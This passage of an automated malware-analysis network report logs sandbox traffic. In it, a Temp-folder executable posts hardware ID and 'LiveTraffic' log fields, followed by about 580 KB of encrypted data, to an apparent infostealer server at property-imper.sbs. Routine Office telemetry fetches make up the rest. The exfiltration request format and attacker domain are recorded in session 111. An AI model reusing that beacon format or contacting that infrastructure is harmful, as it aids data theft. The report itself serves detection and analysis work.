26f1Ztm+0PuJeQ8Gg1kqKQU5dNf/GqVH87zrdP3ZT1pXHXwz4dddmr1wAnOevd5ZUXFkt+oHXIb/2d4oNNyWohIQeF7ZvpkWhQg2e9oAEu0VFUSj9wdkv+blvgno3afn7kg5drWK1J/IeHNf50V/YCxoQY+7Bzy+49zrTN3lu+qnMXRn1cNhOg0EIle2eQqZtaVMo8IyYZMHHItE6eWr+qooQT/l3vkniBEOmrtFR2AsIayDyj5B57rQW3z97
2024-11-23 10:22:46 UTC	1369	IN	Data Raw: 31 64 48 65 51 78 35 57 61 68 43 7a 32 6e 78 59 5a 4b 69 46 56 4c 59 42 33 58 6a 5a 46 6f 35 66 34 78 39 42 51 33 49 36 69 30 69 67 59 32 74 6e 2b 6d 54 2b 77 4d 47 39 6d 34 30 58 79 62 58 55 5a 5a 4e 65 33 4d 73 6e 6a 38 36 54 48 52 64 44 6b 74 37 76 75 53 44 6b 47 32 4d 2f 63 77 2b 68 78 52 77 72 58 43 48 73 67 42 56 78 41 36 76 4a 66 58 4e 36 32 33 64 38 42 30 4c 79 32 76 75 4e 68 4d 43 66 55 68 35 54 65 63 63 69 57 61 38 5a 74 6f 6c 55 4e 50 59 42 33 70 67 70 6c 68 2b 4f 38 6d 6b 6e 6f 33 59 71 6a 6a 38 78 35 48 75 6a 48 6c 5a 75 4a 7a 54 64 6e 34 30 52 48 59 5a 6b 74 51 4c 66 75 58 68 69 4c 5a 2b 69 62 59 46 58 70 39 37 2f 75 45 48 67 6d 32 62 37 55 2b 34 6b 67 53 32 62 6a 42 47 38 4d 47 47 77 6c 7a 72 70 37 5a 64 72 2f 76 64 34 70 6d 4f 53 33 36 2b Data Ascii: 1dHeQx5WahCz2nxYZKiFVLYB3XjZFo5f4x9BQ3I6i0igY2tn+mT+wMG9m40XybXUZZNe3Msnj86THRdDkt7vuSDkG2M/cw+hxRwrXCHsgBVxA6vJfXN623d8B0Ly2vuNhMCfUh5TecciWa8ZtolUNPYB3pgplh+O8mkno3Yqjj8x5HujHlZuJzTdn40RHYZktQLfuXhiLZ+ibYFXp97/uEHgm2b7U+4kgS2bjBG8MGGwlzrp7Zdr/vd4pmOS36+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49860	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:45 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OWLURZPKOW0GGN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580139 Host: property-imper.sbs
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: 2d 2d 4f 57 4c 55 52 5a 50 4b 4f 57 30 47 47 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4f 57 4c 55 52 5a 50 4b 4f 57 30 47 47 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 57 4c 55 52 5a 50 4b 4f 57 30 47 47 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 57 Data Ascii: --OWLURZPKOW0GGNContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--OWLURZPKOW0GGNContent-Disposition: form-data; name="pid"1--OWLURZPKOW0GGNContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--OW
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: 5a 2a 12 47 81 ea 08 c7 3a f0 b1 d8 38 e0 b4 56 6d b6 57 cf 6f b7 fc c1 5c 89 c1 5b 07 fe 0d 7e 01 16 89 04 b0 17 b7 65 2c 89 b6 eb 00 cc 98 f3 39 d7 69 97 81 95 46 d4 ea 41 28 11 f5 4e 33 ab eb 89 53 ac 12 d2 eb 6a de fe bf 0d 46 c8 e5 06 70 fb d0 06 66 71 20 c6 88 9a c7 42 0a 8e 1f 08 31 f4 eb 0c d1 58 f7 78 66 3e c5 43 08 b5 b5 97 12 70 38 12 de e6 a2 d8 b6 9b 43 8c c3 e2 3d 7c c0 2a 29 c3 d6 05 07 9a 64 16 af 19 a1 a3 84 9e db 96 42 d2 8a 30 55 68 a7 58 8d e6 b5 f9 29 35 38 f6 8b 21 53 a0 53 dc cd 6e 0b 8a 1c 1a 8c 7f f9 7b 42 91 33 a9 1e 47 ad 32 91 52 1d 80 25 bb 8b 81 b9 13 67 aa b8 04 53 74 11 33 4f 49 db 6e f2 71 94 61 d5 db 11 b6 88 ab 32 35 9b f5 46 a3 de d6 92 54 32 23 13 0b 8b ae a8 4d bf 5d 06 5e fb 68 1a 68 3f 1e 30 f5 13 bd b8 49 f0 37 78 Data Ascii: ZG:8VmWo\[~e,9iFA(N3SjFpfq B1Xxf>Cp8C=\|)dB0UhX)58!SSn{B3G2R%gSt3OInqa25FT2#M]^hh?0I7x
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: ef ba 2a 13 f8 f0 59 bc 09 8b 89 a4 47 f2 ed 33 6d e3 a8 ef dc 39 71 54 6b b0 6b de 3f aa e9 1f 82 ee 8e e5 62 ed 15 58 4d 4d f2 74 a4 ec 68 4d 0c 58 4e a5 11 47 24 87 33 4c ee 4b 1d 87 d7 0d 43 4c 62 89 1e 38 32 66 51 eb 66 d3 27 9d d9 50 85 76 13 d8 af d5 20 6a f5 3b 36 ca c3 6b d3 7d 90 64 4b ff 29 7c da d2 59 2a d0 6b 1f 79 7e f8 69 38 f9 27 9f 8d 07 af 72 8e c2 66 a6 87 d9 c4 ce b0 e1 4b 73 b3 60 7b 3e fc 21 f6 73 f1 9d 33 af 5a be c8 d0 61 3f cf 85 de de c0 e9 d9 0b 91 99 f3 1f d5 91 78 7f 4a b2 f3 77 3c 8a d8 f2 ac e6 e7 46 b3 04 5d 91 dd 7e 8f 68 12 f0 63 bd e9 3c 01 55 f7 97 75 cb 57 f9 86 80 fd ac 91 34 87 35 d2 68 23 6a fc 2a 30 8b a6 e2 67 f1 2b e2 bf 8a 89 e7 1c 6c 67 65 87 e5 d2 2d a8 39 70 fc 50 34 f3 a1 3b 4d 09 55 6b 10 ee 75 dd 63 1b 3f Data Ascii: YG3m9qTkk?bXMMthMXNG$3LKCLb82fQf'Pv j;6k}dK)\|Yky~i8'rfKs`{>!s3Za?xJw<F]~hc<UuW45h#j*0g+lge-9pP4;MUkuc?
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: a1 8a ec 98 f6 0c d5 fc 04 4e 29 ed 11 60 0b 55 cf 49 78 f5 02 dc 49 1d b0 7e 7b f3 d5 c5 0d a6 d1 82 00 b8 1b 50 72 f0 43 bf 02 07 07 b5 1f 86 53 68 7d ad 11 e9 3e 0f 1d 7b b3 32 3b 77 cb 7a 58 5a b8 f5 8c 37 d3 81 f3 48 f0 bb 6a cc a8 f3 c8 3f 4a 95 ec f5 a9 4b 73 58 9f 41 da cd d6 21 b3 07 87 b9 77 f7 0a e4 e9 22 b0 8f 8c 48 5c e7 cb 0c b5 0f 72 47 39 30 76 1a 64 eb 0e f9 5f 13 06 0b 67 05 c1 72 18 7b 27 70 e8 13 b7 33 86 08 fa 39 ac 9a 7d be 7e 6f c0 59 cc 74 fd 80 90 63 84 e5 46 c8 ae 87 60 62 c7 b1 21 1c eb 62 c6 bf 76 5f a9 1c 26 7d 95 f5 99 d4 d1 6b 97 1d ff 48 98 1d 0c 7d 4d 24 4f fa 4b c7 56 44 1f 40 15 cf fa c7 ba c9 1b fc d8 f3 d6 04 5f 18 66 ad 0c 92 c9 da ca 37 ff c9 78 23 2d f1 2a f7 d1 68 33 eb 59 5c fb 1d bd 4f a8 bc 13 f2 45 12 ed 49 5f Data Ascii: N)`UIxI~{PrCSh}>{2;wzXZ7Hj?JKsXA!w"H\rG90vd_gr{'p39}~oYtcF`b!bv_&}kH}M$OKVD@_f7x#-*h3Y\OEI_
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: 75 93 e0 4e 34 91 96 0b 45 7a f8 af 3b e2 f2 96 7e d4 9b c4 dc c2 70 77 3b 7a a6 45 4d 1f 3c 9b ed 91 11 ce e1 f8 e2 e0 82 67 fe f2 25 fd 1d 51 e4 c7 ae a8 42 e3 0c 46 de 15 dc 9d c4 dd 99 3d d1 4b 6d 00 08 c8 42 61 a8 88 5c 18 e0 cd 88 d1 fb d1 08 22 93 e1 04 31 37 9c 6c c4 8f f7 f5 bf f6 cb 42 e4 1b 82 3d 5b ff 2b 42 fe 5f 37 65 1c e7 28 4f 73 00 94 6f f2 b0 f3 dc d9 9c 76 0a 8a 45 fe fc e0 e1 4c d9 cd 3c 1f 22 a5 f6 61 6b e6 35 5e 70 58 9d 0f 46 80 8c eb 6b 3a a4 ff da 0f 09 b1 78 2c d7 d1 ed 56 bf 39 a9 ad cd c7 df 1e d4 59 95 9c 09 ca 13 1a c5 82 b3 90 3d 17 30 5b 45 68 b9 dc 90 81 94 e9 45 a4 7d 38 7f 84 f0 d4 35 3f 35 e0 8c 5e b9 36 d1 5b 89 dc 92 9f 43 81 2e bd 88 a1 f1 01 72 fb c5 cc c6 08 a1 b1 d3 57 d2 20 29 c1 23 70 8e 85 d1 67 24 5d 51 20 b1 Data Ascii: uN4Ez;~pw;zEM<g%QBF=KmBa\"17lB=[+B_7e(OsovEL<"ak5^pXFk:x,V9Y=0[EhE}85?5^6[C.rW )#pg$]Q
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: 52 5e 81 a2 ac 6b 23 1e 09 58 74 af 07 c8 49 2a 7c fa ae 6e 77 22 02 da d3 4e 24 79 d6 c8 d6 90 f6 9c 4a b9 20 58 27 0c 34 bb 85 48 f1 9b 62 3f 61 9d 2e 2f 5c 66 3d b2 2f ee 5e 93 6d b3 32 de bf 1f 9f fb 06 96 74 4e de 03 46 c6 00 5e 96 67 ba 5b 03 82 2b 13 bb 7f 3b 8d d5 64 4a 14 e6 1e 83 c5 f9 2f a5 ee c7 1f 83 fd 95 4a 71 c1 c8 52 a4 36 4b 3f ac 72 e6 f4 34 d9 12 3b 7f b4 5e 11 db c4 c8 ce 2c 8d 07 3c 4e 4e 9c c3 2c 23 84 e6 61 cc f5 67 87 d9 45 2a 9e 9a be 9c 13 ec ef 81 14 cd 8f a0 ad 31 b8 6b b9 a9 7a 86 67 df 92 f9 5b f3 24 24 1e 41 d5 de 83 c3 25 a9 98 2a a4 87 e9 b7 a0 4a 04 1a 86 94 02 66 46 7f b8 72 1d cf 38 64 87 64 8c 16 25 e9 28 07 2f 72 8a 98 d8 e3 c3 98 ae 18 2a 7e 6f bf 2d 67 1c aa 55 a8 7c 4a 1a d7 83 41 bb 75 5a 30 7e ab 93 66 85 af 58 Data Ascii: R^k#XtI\|nw"N$yJ X'4Hb?a./\f=/^m2tNF^g[+;dJ/JqR6K?r4;^,<NN,#agE1kzg[$$A%JfFr8dd%(/r~o-gU\|JAuZ0~fX
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: fd 05 8c 98 df 35 b4 93 f4 af 2f 74 43 00 df fa c5 d3 bc 47 61 e8 c1 75 0a 25 ec b1 44 7d e4 cb a6 dd 41 95 1d 3c 0e f1 a8 06 d1 1c 86 db bf 45 e1 91 8b e5 3a 70 be f7 f2 45 d8 0c 01 a4 74 ea 72 53 b2 72 d6 27 6d 46 2b 8c 38 3b d1 21 46 aa 31 f9 12 52 8e 0d 90 a8 94 3f 02 b5 9f 14 62 b0 fd f5 92 a1 50 c1 ad d7 f1 34 5b 1d 00 71 12 3e 73 96 fb 72 43 d7 bf db 27 48 03 cb ea e9 c7 fc 60 4e 1f 36 a0 04 82 0f 21 29 10 63 38 4a 04 34 16 51 f6 ea f6 7e 70 21 97 2c bd 7f d7 fe 75 d5 ee 81 dd f0 d0 00 8c 35 e0 dd 7a c6 a3 66 73 02 00 b9 6c b0 14 25 ff d8 e8 dd 8d 5b 9c 40 97 ab 14 ab e1 54 12 28 4a 1b 9e 69 ca fb a8 63 42 42 f3 dc 10 f0 1a d6 b1 f0 70 99 fd c8 c5 2e 18 f4 1a 17 21 2d 66 04 46 a7 de 5d 6d df 1b a7 3e 92 25 87 b8 eb 63 49 cd 08 6a fd 21 c2 d3 d2 2b Data Ascii: 5/tCGau%D}A<E:pEtrSr'mF+8;!F1R?bP4[q>srC'H`N6!)c8J4Q~p!,u5zfsl%[@T(JicBBp.!-fF]m>%cIj!+
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: 74 1d 14 fd 53 f2 46 cd df 43 5a ed 5d 1b 83 d5 37 c3 05 79 e7 f7 3c 0c 68 bb 84 79 6e 12 96 53 11 70 ab f0 c6 9f e7 16 bb c3 cf 9f 06 e6 a0 b6 e8 e1 57 1f 9b 51 55 9a 62 c2 01 f5 3e 5d 60 f4 6b 77 d0 4a c0 22 6e 55 e7 eb a0 40 48 78 f8 c2 e0 90 0f 82 0d f5 28 95 16 2f bb cd c9 54 94 f1 6a 7c 32 26 8b 1a c6 ba 29 a9 3f 37 ab e6 a7 63 38 4c 37 e3 c5 8b 53 cc e9 96 bb 08 60 6c 92 1e f4 63 f1 fa d6 2b 23 5e 34 52 3f 9c dd 5f f2 35 b3 5f 3f 16 7b 80 aa c2 1e 3b 9c 7e fa 23 d3 e3 7d 48 47 1b 74 7b 33 f9 a7 90 25 6b 26 99 bf e4 bd 89 7b aa f5 09 35 fa fd cb 8f 86 9f 80 96 ca c3 1b ff d8 3d 4e cf 3f 27 c4 1a de 03 6d 67 f7 56 4d f3 29 ca 6e cc 19 6e c8 d8 ae d8 69 14 98 2f ea be ec bc e8 b4 aa 1b c3 dd cc 19 2a 4a 60 6d e9 08 91 5d 49 87 ab 1e 56 73 ce 40 af fc Data Ascii: tSFCZ]7y<hynSpWQUb>]`kwJ"nU@Hx(/Tj\|2&)?7c8L7S`lc+#^4R?_5_?{;~#}HGt{3%k&{5=N?'mgVM)nni/*J`m]IVs@
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: b0 b7 e5 8f a0 ae b7 48 fc 22 c0 54 5f b8 8e 62 4b 83 d2 27 c8 94 1e 1b 62 d7 2b d4 73 a5 df 76 ac 6c ca 63 f1 f1 4e 61 10 b5 59 f2 29 dc ee dd 5c 22 23 71 4c 7c 4e 5f 24 74 8d e3 2c 0d d6 dd d4 01 51 85 c0 9c 58 cf da 6b eb 26 20 21 80 90 3d 7d 96 6d e2 07 95 de c5 fa 3c 4d 97 be ed 60 99 e1 94 6d 24 2c 0c db 0c 57 45 85 9c fd 56 7d f9 81 52 b8 e7 66 49 02 19 1d 6d c0 13 13 77 31 79 d3 cc 18 15 66 6c 84 c8 61 2f 55 a7 60 1a f5 0a 2c 42 83 9e aa 6f 36 6a 1f 66 36 09 8e 98 90 cc b5 9b 96 db d4 b4 55 19 a9 bc ec 79 2a 01 f3 10 5b 20 1d ea fe 29 b9 20 51 07 cc 18 8c 70 2a 98 c6 c8 b9 03 64 63 45 fd 29 31 4b 74 64 19 46 5c f8 a5 22 8c db 6c 87 f4 d4 0a 6c 21 95 be b0 d4 35 99 4c 67 bd f7 9a 8c 3d d8 c6 51 4a fc f2 81 f5 bb 43 62 42 68 bf df 87 3a 00 31 2d fc Data Ascii: H"T_bK'b+svlcNaY)\"#qL\|N_$t,QXk& !=}m<M`m$,WEV}RfImw1yfla/U`,Bo6jf6Uy[ ) QpdcE)1KtdF\"ll!5Lg=QJCbBh:1-
2024-11-23 10:22:45 UTC	15331	OUT	Data Raw: df 50 d3 df 2c df bf dd 85 28 62 3d 57 6d c8 f4 e1 d4 66 1c fb f9 7a e5 79 f6 fa 9d b4 ac c5 c1 f9 f3 05 83 c1 ee 4b be 11 35 b5 d3 a3 27 c7 f5 99 2f 65 9f 28 8c 06 f8 8d 86 a8 08 f7 9d 08 aa 8f 7c ca 5d 26 85 e8 33 23 2c 91 21 89 dd 8c be e1 b5 9d 34 a6 6f 06 27 e2 80 eb db c6 da f3 05 ef 18 fa 21 65 a7 d8 83 8b ee b7 4a cc 65 8f 9b 7c 69 78 7f 37 eb d6 8c 61 41 00 3e af 73 da 1c b3 f0 c9 8e 7c de 26 37 a1 e6 a9 e0 d0 46 83 d4 70 9f 61 83 1b 7e 61 1e cf ba 47 92 f1 b3 af b0 b4 08 76 f3 87 b5 4c 56 fe c8 a9 9d 20 7e f4 33 44 25 32 34 8a 76 08 35 f0 81 9b d0 5f f0 e7 e0 7f ee b3 d8 78 e5 a0 09 8f 77 ac fc 6d 72 1a 46 42 66 d2 28 d3 00 3a f5 fd 9c c9 04 8b 6b 38 77 23 99 bd a8 00 1e 99 3c dd 1d 22 aa 08 27 af fd 04 04 37 87 61 b3 bb 0d 0d 68 38 31 d8 68 ac Data Ascii: P,(b=WmfzyK5'/e(\|]&3#,!4o'!eJe\|ix7aA>s\|&7Fpa~aGvLV ~3D%24v5_xwmrFBf(:k8w#<"'7ah81h
2024-11-23 10:22:50 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=54h91dnlc7vv5v104dr04c15qn; expires=Wed, 19-Mar-2025 04:09:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8UxVkrOq%2F3WRv6YvXLpaeI%2BzFT11LtHN3hxUtk4JWA7bkDelOpTqE7eL0zd7xAhPwEAdYIUZupOKsM1Y%2B0X%2Fh1fUSNOqXFV64q1OWbOJeO9p0le1hNRk3tfzn15bteZm4n8J8IY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070a1a8fcc3fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1479&sent=355&recv=603&lost=0&retrans=0&sent_bytes=2845&recv_bytes=582706&delivery_rate=1941489&cwnd=178&unsent_bytes=0&cid=3deb8d8d5c6cef8f&ts=4797&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:46 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102246Z-174c587ffdf8lw6dhC1TEBkgs800000002v0000000005049 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:46 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102246Z-178bfbc474bbbqrhhC1NYCvw7400000004e00000000096k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:46 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 38659630-901e-008f-15a0-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102246Z-15b8b599d88cn5thhC1TEBqxkn00000002n000000000cmgy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:46 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:47 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4d8c69aa-d01e-0028-1552-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102247Z-15b8b599d889fz52hC1TEB59as00000002t0000000006x79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:47 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:47 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
